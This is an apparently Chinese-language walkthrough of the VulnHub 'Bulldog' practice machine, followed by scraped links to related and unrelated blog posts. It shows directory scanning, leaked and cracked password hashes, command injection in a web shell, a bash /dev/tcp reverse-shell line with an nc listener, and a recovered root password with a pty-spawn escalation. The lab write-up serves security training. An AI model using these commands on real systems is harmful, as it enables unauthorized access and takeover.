Bulldog

下载地址:Bulldog: 1 ~ VulnHub

1 信息收集

1.1 端口扫描

1.2 后台目录扫描

python dirsearch.py -u http://192.168.0.3/

1.2.1 目录分析

  1. /dev

    1. /dev页面为内部页面,在此页面下发现存在web-shell敏感信息

    2. 点击Web-Shell,发现需要认证后才可以使用

    3. 查看页面源码,存在测试的账号与密码Hash值

    4. 解密Hash

      ddf45997a7e18a25ad5f5cf222da64814dd060d5:bulldog
      d8b8dd5e7f000b8dea26ef8428caf38c04466b3e:bulldoglover
  2. 尝试使用测试账号登录网站后台:/admin/

    1. 使用邮箱账号尝试登录后台

    2. 使用用户名尝试登录后台:成功进入,但是没有可以利用的点

    3. 登录后,再次尝试Web-Shell功能点:成功显示Web-Shell内容

2 Web-Shell利用

2.1 尝试命令执行

无法执行展示命令之外的系统命令

2.2 尝试利用系统命令注入

成功执行

2.3 反弹Shell

# kali
nc -nvlp 4444 # Web-Shell执行命令
echo "bash -i >& /dev/tcp/192.168.0.2/4444 0>&1" | bash

3 提权

3.1 尝试提权

提示没有 tty

3.2 收集当前系统信息

  1. 发现管理员账户:bulldogadmin

  2. 查找系统中bulldogadmin创建的文件

    find / -user bulldogadmin 2>/dev/null

  3. 根据提示的信息,customPermissionApp存在我们需要的密码

  4. 在customPermissionApp中查找我们所需要的密码

    SUPERultimatePASSWORDyouCANTget

3.3 利用Python提权

根据后台得知,目标站点使用的是Django,为基于Python所开发的,尝试在目标系统中使用python调用本地的shell

python -c 'import pty;pty.spawn("/bin/bash")'
sudo su -

Bulldog的更多相关文章

  1. Vulnhub靶场渗透练习(三) bulldog

    拿到靶场后先对ip进行扫描 获取ip  和端口 针对项目路径爆破 获取两个有用文件 http://192.168.18.144/dev/ dev,admin 更具dev 发现他们用到框架和语言 找到一 ...

  2. kali渗透综合靶机(二)--bulldog靶机

    kali渗透综合靶机(二)--bulldog靶机 靶机下载地址:https://download.vulnhub.com/bulldog/bulldog.ova 一.主机发现 netdiscover ...

  3. Vulnhub bulldog靶机渗透

    配置 VM运行kali,桥接模式设置virtualbox. vbox运行靶机,host-only网络. 信息搜集 nmap -sP 192.168.56.0/24 或者 arp-scan -l #主机 ...

  4. Odoo domain 中的 like, ilike, =like, =ilike 举例说明【转】

    Odoo domain 中的 like, ilike, =like, =ilike 举例说明 Odoo domain 操作符使用场景非常多,很多小伙伴被 like, ilike, =like, =il ...

  5. 1002 Phone Numbers 解题报告

    1002. Phone Numbers Time limit: 2.0 secondMemory limit: 64 MB In the present world you frequently me ...

  6. 【译】Java中的对象序列化

    前言 好久没翻译simple java了,睡前来一篇. 译文链接: http://www.programcreek.com/2014/01/java-serialization/ 什么是对象序列化 在 ...

  7. metasploit--exploit模块信息

    Name                                             Disclosure Date  Rank    Description ----           ...

  8. URAL 1002 Phone Numbers(KMP+最短路orDP)

    In the present world you frequently meet a lot of call numbers and they are going to be longer and l ...

  9. Codeforces Round #362 (Div. 2) A.B.C

    A. Pineapple Incident time limit per test 1 second memory limit per test 256 megabytes input standar ...

  10. Codeforces Round #362 (Div. 2)->A. Pineapple Incident

    A. Pineapple Incident time limit per test 1 second memory limit per test 256 megabytes input standar ...

随机推荐

  1. DTSE Tech Talk 第13期:Serverless凭什么被誉为未来云计算范式?

    摘要:在未来,云上交付模式会逐步从Serverful为主转向Serverless为主. 本文分享自华为云社区<DTSE Tech Talk 第13期:Serverless凭什么被誉为未来云计算范 ...

  2. 第二章:seaborn调色板

    1.系统默认调色板 1 import seaborn as sns 2 import matplotlib.pyplot as plt 3 4 # 设置画布的大小 5 sns.set(context= ...

  3. Python全栈工程师之从网页搭建入门到Flask全栈项目实战(4) - Flask模板语法与继承

    1.Flask模板介绍 前置:理解渲染机制即上篇笔记中render_template()功能是如何实现的! 1)找到html文件地址 2)读取html文件中的内容 3)替换html中的特殊字符 4)将 ...

  4. Jvm上如何运行其他语言?JSR223规范最详细讲解

    一 在Java的平台里,其实是可以执行其他的语言的.包括且不仅限于jvm发展出来的语言. 有的同学可能会说,在java项目里执行其他语言,这不吃饱了撑着么,java体系那么庞大,各种工具一应俱全,放着 ...

  5. ARC145~152 题解

    比赛标号从大到小排列 . 因为博主比较菜所以没有题解的题都是博主不会做的 /youl ARC144 以前的比赛懒得写了 . 目录 AtCoder Regular Contest 152 B. Pass ...

  6. js迭代循环

    一.for loop for (let i = 0; i < products.length; i++) { console.log(products[i]); } 支持循环中断,可以用brea ...

  7. 【kubernetes入门到精通】Kubernetes的健康监测机制以及常见ExitCode问题分析「探索篇」

    kubernetes进行Killed我们服务的问题背景 无论是在微服务体系还是云原生体系的开发迭代过程中,通常都会以Kubernetes进行容器化部署,但是这也往往带来了很多意外的场景和情况.例如,虽 ...

  8. mybatis-config.xml 说明

    mybatis-config.xml 说明 文件结构 MyBatis 的配置文件包含了会深深影响 MyBatis 行为的设置和属性信息. 配置文档的顶层结构如下: configuration(配置) ...

  9. python进阶之路6之 for循环方法

    while循环补充说明 1.死循环 真正的死循环是一旦执行 CPU功耗会极速上升 直到系统采取紧急措施 尽量不要让CPU长时间不间断运算 2.嵌套及全局标志位 强调:一个break只能结束它所在的那一 ...

  10. 线性构造treap

    数据结构 线性构造treap treap的线性构造可以使复杂度锐减到\(O(n)\),很优秀 treap的本质就是小根堆+二叉搜索树,即保证val满足搜索树的同时,维护rad的小根堆. 现在我们先把数 ...